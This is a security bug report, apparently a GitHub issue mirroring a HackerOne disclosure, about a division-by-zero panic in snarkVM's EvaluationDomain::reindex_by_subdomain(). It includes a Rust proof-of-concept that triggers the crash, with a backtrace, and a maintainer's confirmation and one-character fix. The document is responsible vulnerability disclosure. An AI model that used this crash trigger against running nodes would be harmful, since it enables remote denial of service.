[Bug] Division by zero in EvaluationDomain::reindex_by_subdomain() function

[feezybabee]

https://hackerone.com/reports/2257472

Summary:

The attacker can trigger division by 0 in the function EvaluationDomain::reindex_by_subdomain() when using the same num_coeffs for self and other.

As can be seen from the function code, self.size() and other.size() can be equal:

ensure!(self.size() >= other.size(), "other.size() must be smaller than self.size()");

When they are equal and index >= other.size() the following code will be executed:

        // when self.size() = other.size(), period = 1
        let period = self.size() / other.size();
        ...
            let i = index - other.size();
            // when period = 1, x = 0
            let x = period - 1;
            Ok(i + (i / x) + 1)

Thus, division by 0 in the following line will occur: Ok(i + (i / x) + 1).

Proof-of-Concept (PoC)

Cargo.toml

[package]
name = "test"
version = "0.1.0"
edition = "2021"

# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html

[dependencies]
snarkvm-curves = { path = "../snarkVM/curves" }
snarkvm-algorithms = { path = "../snarkVM/algorithms" }

src/main.rs

use snarkvm_algorithms::fft::domain::EvaluationDomain;
use snarkvm_curves::bls12_377::Fr;

fn main() {
    if let Some(domain1) = EvaluationDomain::<Fr>::new(1) {
        if let Some(domain2) = EvaluationDomain::<Fr>::new(1) {
            println!("size1: {}, size2: {}", domain1.size(), domain2.size());
            let _res = domain1.reindex_by_subdomain(&domain2, 2);
        }
    }
}

Result

$ RUST_BACKTRACE=1 ./target/release/test
size1: 1, size2: 1
thread 'main' panicked at 'attempt to divide by zero', /tmp/Aleo/snarkVM/algorithms/src/fft/domain.rs:341:20
stack backtrace:
   0: rust_begin_unwind
             at /rustc/d5c2e9c342b358556da91d61ed4133f6f50fc0c3/library/std/src/panicking.rs:593:5
   1: core::panicking::panic_fmt
             at /rustc/d5c2e9c342b358556da91d61ed4133f6f50fc0c3/library/core/src/panicking.rs:67:14
   2: core::panicking::panic
             at /rustc/d5c2e9c342b358556da91d61ed4133f6f50fc0c3/library/core/src/panicking.rs:117:5
   3: test::main
note: Some details are omitted, run with `RUST_BACKTRACE=full` for a verbose backtrace.

Impact

This problem may result in a remote DoS.
Based on CVSS score (v3.1) it's high severity problem: https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H&version=3.1.

[ljedrz]

I can confirm that I can reproduce the panic with the attached program with 6b2a814 (current testnet3) and that changing

ensure!(self.size() >= other.size(), "other.size() must be smaller than self.size()");

to

ensure!(self.size() > other.size(), "other.size() must be smaller than self.size()");

causes it to no longer panic.